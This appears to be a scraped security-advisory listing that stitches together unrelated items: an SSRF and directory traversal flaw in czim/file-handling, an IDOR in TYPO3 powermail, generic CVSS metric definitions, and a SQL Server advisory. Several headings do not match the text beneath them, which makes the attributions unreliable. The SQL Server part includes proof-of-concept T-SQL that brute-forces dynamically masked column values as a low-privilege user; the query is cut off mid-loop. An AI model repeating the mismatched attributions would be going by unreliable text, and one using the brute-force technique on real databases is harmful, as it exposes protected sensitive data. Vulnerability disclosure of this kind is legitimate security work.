Ubuntu Security Notice USN-7015-1

The czim/file-handling package before 1.5.0 and 2.x before 2.3.0 (used with PHP Composer) does not properly validate URLs within makeFromUrl and makeFromAny, leading to SSRF, and to directory traversal for the reading of local files.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-6rgh-r6j3-3223: czim/file-handling vulnerable to SSRF and directory traversal

An issue was discovered in the powermail extension through 12.4.0 for TYPO3. It fails to validate the mail parameter of the createAction, resulting in Insecure Direct Object Reference (IDOR) in some configurations. An unauthenticated attacker can use this to display user-submitted data of all forms persisted by the extension. The fixed versions are 7.5.1, 8.5.1, 10.9.1, and 12.4.1.

Apple Security Advisory 09-16-2024-8

Microsoft SQL Server versions 2014, 2016, 2017, 2019, and 2022 suffer from an issue where masked data can be exposed through a brute force attack.

Title: SQL Server Masked Data Exposure Through Brute Force Attack  
Product:                   Database  
Manufacturer:              Microsoft  
Affected Version(s):       SQL Server 2014, 2016,2017,2019,2022  
Tested Version(s):         SQL Server 2014, 2016,2017,2019,2022  
Risk Level:                Low  
Security Feature:          Dynamic Data Masking  
Author of Advisory:        Emad Al-Mousa

*****************************************  
Vulnerability Details And Back Ground:

Microsoft SQL Server database system has a security feature called "dynamic data masking" , this feature is designed to redact/mask column level values (columns containing sensitive data ….for example credit card number…etc).

The feature is good but has many security weaknesses that organizations/companies should be aware of. Among them is brute force technique against the “where” conditional clause to retrieve actual data values (numeric values).

*****************************************  
Proof of Concept (PoC):

I will create database called demodb and create table called dbo.COMPANY and insert dummy data in it:

create database demodb;

USE [demodb]

GO

SET ANSI_NULLS ON

GO

SET QUOTED_IDENTIFIER ON

GO

CREATE TABLE [dbo].[COMPANY](

[COMPANY_NAME] [nvarchar](max) NULL,

[SALES] [int] NULL

) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

           ([COMPANY_NAME]

           ,[SALES])

     VALUES

           ('COMPANY_C','93')

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

           ([COMPANY_NAME]

           ,[SALES])

     VALUES

           ('COMPANY_A','11')

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

           ([COMPANY_NAME]

           ,[SALES])

     VALUES

           ('COMPANY_B','78')

GO

------  I will enable dynamic data masking function against SALES column:

 ALTER TABLE dbo.COMPANY

ALTER COLUMN SALES INT MASKED WITH (FUNCTION = 'default()');

------ Then, will create a user called reg_user that can only query the table, so the user will only see SALES column with complete masked data [ZERO values]:

USE [demodb]

GO

CREATE USER reg_user WITHOUT LOGIN;

GRANT SELECT ON dbo.COMPANY to reg_user;

EXECUTE AS USER = 'reg_user';

------ However, using the same non-privileged database account reg_user …I will be able to extract Actual Values :

EXECUTE AS USER = 'reg_user';

 DECLARE @sales_txt nvarchar(max);

 DECLARE @LCounter INT= 1;

 WHILE (@LCounter < 99)

 BEGIN

SET @sales_txt=(SELECT COMPANY_NAME+' sales is ' +CAST (@LCounter as nvarchar)

   FROM dbo.COMPANY

*****************************************

Protection Mechanisms:

1. Ensure network firewall rules are in-place to ensure database accounts can be connected to the destination database server host from specific list of source hosts. This will add good  
security protection layer especially if database account credentials were exposed.

2. Implement Security Auditing against identified sensitive tables.

3. Implement other security features along dynamic data masking such as encryption. of course Always Encrypted feature is the best in terms of data protection.
